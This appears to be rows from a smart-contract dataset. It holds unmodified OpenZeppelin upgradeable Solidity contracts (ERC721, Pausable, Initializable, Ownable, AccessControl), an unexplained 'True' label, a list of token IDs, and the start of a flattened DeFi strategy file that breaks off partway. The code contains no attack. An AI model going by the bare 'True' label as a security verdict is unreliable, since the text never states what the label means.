* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol)
pragma solidity ^0.8.0;
import "./IERC721Upgradeable.sol";
import "./IERC721ReceiverUpgradeable.sol";
import "./extensions/IERC721MetadataUpgradeable.sol";
import "../../utils/AddressUpgradeable.sol";
import "../../utils/ContextUpgradeable.sol";
import "../../utils/StringsUpgradeable.sol";
import "../../utils/introspection/ERC165Upgradeable.sol";
import "../../proxy/utils/Initializable.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721Upgradeable is Initializable, ContextUpgradeable, ERC165Upgradeable, IERC721Upgradeable, IERC721MetadataUpgradeable {
using AddressUpgradeable for address;
using StringsUpgradeable for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
function __ERC721_init(string memory name_, string memory symbol_) internal onlyInitializing {
__Context_init_unchained();
__ERC165_init_unchained();
__ERC721_init_unchained(name_, symbol_);
}
function __ERC721_init_unchained(string memory name_, string memory symbol_) internal onlyInitializing {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165Upgradeable, IERC165Upgradeable) returns (bool) {
return
interfaceId == type(IERC721Upgradeable).interfaceId ||
interfaceId == type(IERC721MetadataUpgradeable).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721Upgradeable.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721Upgradeable.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721Upgradeable.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721Upgradeable.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721Upgradeable.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721ReceiverUpgradeable(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721ReceiverUpgradeable.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
uint256[44] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (security/Pausable.sol)
pragma solidity ^0.8.0;
import "../utils/ContextUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract PausableUpgradeable is Initializable, ContextUpgradeable {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
function __Pausable_init() internal onlyInitializing {
__Context_init_unchained();
__Pausable_init_unchained();
}
function __Pausable_init_unchained() internal onlyInitializing {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (proxy/utils/Initializable.sol)
pragma solidity ^0.8.0;
import "../../utils/AddressUpgradeable.sol";
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*
* [CAUTION]
* ====
* Avoid leaving a contract uninitialized.
*
* An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation
* contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the
* initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed:
*
* [.hljs-theme-light.nopadding]
* ```
* /// @custom:oz-upgrades-unsafe-allow constructor
* constructor() initializer {}
* ```
* ====
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
// If the contract is initializing we ignore whether _initialized is set in order to support multiple
// inheritance patterns, but we only do this in the context of a constructor, because in other contexts the
// contract may have been reentered.
require(_initializing ? _isConstructor() : !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
/**
* @dev Modifier to protect an initialization function so that it can only be invoked by functions with the
* {initializer} modifier, directly or indirectly.
*/
modifier onlyInitializing() {
require(_initializing, "Initializable: contract is not initializing");
_;
}
function _isConstructor() private view returns (bool) {
return !AddressUpgradeable.isContract(address(this));
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
import "../utils/ContextUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init() internal onlyInitializing {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal onlyInitializing {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/IAccessControl.sol)
pragma solidity ^0.8.0;
/**
* @dev External interface of AccessControl declared to support ERC165 detection.
*/
interface IAccessControlUpgradeable {
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {AccessControl-_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) external view returns (bool);
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {AccessControl-_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) external view returns (bytes32);
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) external;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/IAccessControlEnumerable.sol)
pragma solidity ^0.8.0;
import "./IAccessControlUpgradeable.sol";
/**
* @dev External interface of AccessControlEnumerable declared to support ERC165 detection.
*/
interface IAccessControlEnumerableUpgradeable is IAccessControlUpgradeable {
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) external view returns (address);
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/AccessControl.sol)
pragma solidity ^0.8.0;
import "./IAccessControlUpgradeable.sol";
import "../utils/ContextUpgradeable.sol";
import "../utils/StringsUpgradeable.sol";
import "../utils/introspection/ERC165Upgradeable.sol";
import "../proxy/utils/Initializable.sol";
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms. This is a lightweight version that doesn't allow enumerating role
* members except through off-chain means by accessing the contract event logs. Some
* applications may benefit from on-chain enumerability, for those cases see
* {AccessControlEnumerable}.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControlUpgradeable is Initializable, ContextUpgradeable, IAccessControlUpgradeable, ERC165Upgradeable {
function __AccessControl_init() internal onlyInitializing {
__Context_init_unchained();
__ERC165_init_unchained();
__AccessControl_init_unchained();
}
function __AccessControl_init_unchained() internal onlyInitializing {
}
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Modifier that checks that an account has a specific role. Reverts
* with a standardized message including the required role.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*
* _Available since v4.1._
*/
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControlUpgradeable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view override returns (bool) {
return _roles[role].members[account];
}
/**
* @dev Revert with a standard message if `account` is missing `role`.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
*/
function _checkRole(bytes32 role, address account) internal view {
if (!hasRole(role, account)) {
revert(
string(
abi.encodePacked(
"AccessControl: account ",
StringsUpgradeable.toHexString(uint160(account), 20),
" is missing role ",
StringsUpgradeable.toHexString(uint256(role), 32)
)
)
);
}
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been revoked `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*
* NOTE: This function is deprecated in favor of {_grantRole}.
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
bytes32 previousAdminRole = getRoleAdmin(role);
_roles[role].adminRole = adminRole;
emit RoleAdminChanged(role, previousAdminRole, adminRole);
}
/**
* @dev Grants `role` to `account`.
*
* Internal function without access restriction.
*/
function _grantRole(bytes32 role, address account) internal virtual {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
/**
* @dev Revokes `role` from `account`.
*
* Internal function without access restriction.
*/
function _revokeRole(bytes32 role, address account) internal virtual {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/AccessControlEnumerable.sol)
pragma solidity ^0.8.0;
import "./IAccessControlEnumerableUpgradeable.sol";
import "./AccessControlUpgradeable.sol";
import "../utils/structs/EnumerableSetUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
/**
* @dev Extension of {AccessControl} that allows enumerating the members of each role.
*/
abstract contract AccessControlEnumerableUpgradeable is Initializable, IAccessControlEnumerableUpgradeable, AccessControlUpgradeable {
function __AccessControlEnumerable_init() internal onlyInitializing {
__Context_init_unchained();
__ERC165_init_unchained();
__AccessControl_init_unchained();
__AccessControlEnumerable_init_unchained();
}
function __AccessControlEnumerable_init_unchained() internal onlyInitializing {
}
using EnumerableSetUpgradeable for EnumerableSetUpgradeable.AddressSet;
mapping(bytes32 => EnumerableSetUpgradeable.AddressSet) private _roleMembers;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControlEnumerableUpgradeable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) public view override returns (address) {
return _roleMembers[role].at(index);
}
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) public view override returns (uint256) {
return _roleMembers[role].length();
}
/**
* @dev Overload {_grantRole} to track enumerable memberships
*/
function _grantRole(bytes32 role, address account) internal virtual override {
super._grantRole(role, account);
_roleMembers[role].add(account);
}
/**
* @dev Overload {_revokeRole} to track enumerable memberships
*/
function _revokeRole(bytes32 role, address account) internal virtual override {
super._revokeRole(role, account);
_roleMembers[role].remove(account);
}
uint256[49] private __gap;
} | True | [
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23772,
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2854,
13876,
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2015,
1063,
3853,
4651,
14289,
8950,
1006,
4769,
2000,
1010,
21318,
3372,
7196,
22254,
10288,
1007,
6327,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
1996,
4211,
1997,
1052,
2475,
2361,
2449,
1008,
1013,
3206,
8406,
2003,
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2724,
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4769,
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2013,
102
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|
// hevm: flattened sources of src/strategies/strategy-yfv-dai.sol
pragma solidity >=0.4.23 >=0.6.0 <0.7.0 >=0.6.2 <0.7.0 >=0.6.7 <0.7.0;
interface Gauge {
function deposit(uint) external;
function balanceOf(address) external view returns (uint);
function withdraw(uint) external;
function user_checkpoint(address) external;
function claimable_tokens(address) external returns (uint256);
}
interface VotingEscrow {
function create_lock(uint256 v, uint256 time) external;
function increase_amount(uint256 _value) external;
function increase_unlock_time(uint256 _unlock_time) external;
function withdraw() external;
}
interface Mintr {
function mint(address) external;
}
interface ISwerveFi {
function get_virtual_price() external view returns (uint);
function add_liquidity(
uint256[4] calldata amounts,
uint256 min_mint_amount
) external;
function remove_liquidity_imbalance(
uint256[4] calldata amounts,
uint256 max_burn_amount
) external;
function remove_liquidity(
uint256 _amount,
uint256[4] calldata amounts
) external;
function exchange(
int128 from, int128 to, uint256 _from_amount, uint256 _min_to_amount
) external;
function calc_token_amount(
uint256[4] calldata amounts,
bool deposit
) external view returns (uint);
function calc_withdraw_one_coin(
uint256 _token_amount, int128 i) external view returns (uint256);
function remove_liquidity_one_coin(uint256 _token_amount, int128 i,
uint256 min_amount) external;
function balances(int128) external view returns (uint256);
}
////// src/interfaces/controller.sol
// SPDX-License-Identifier: MIT
/* pragma solidity ^0.6.0; */
////// src/lib/safe-math.sol
/* pragma solidity ^0.6.0; */
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
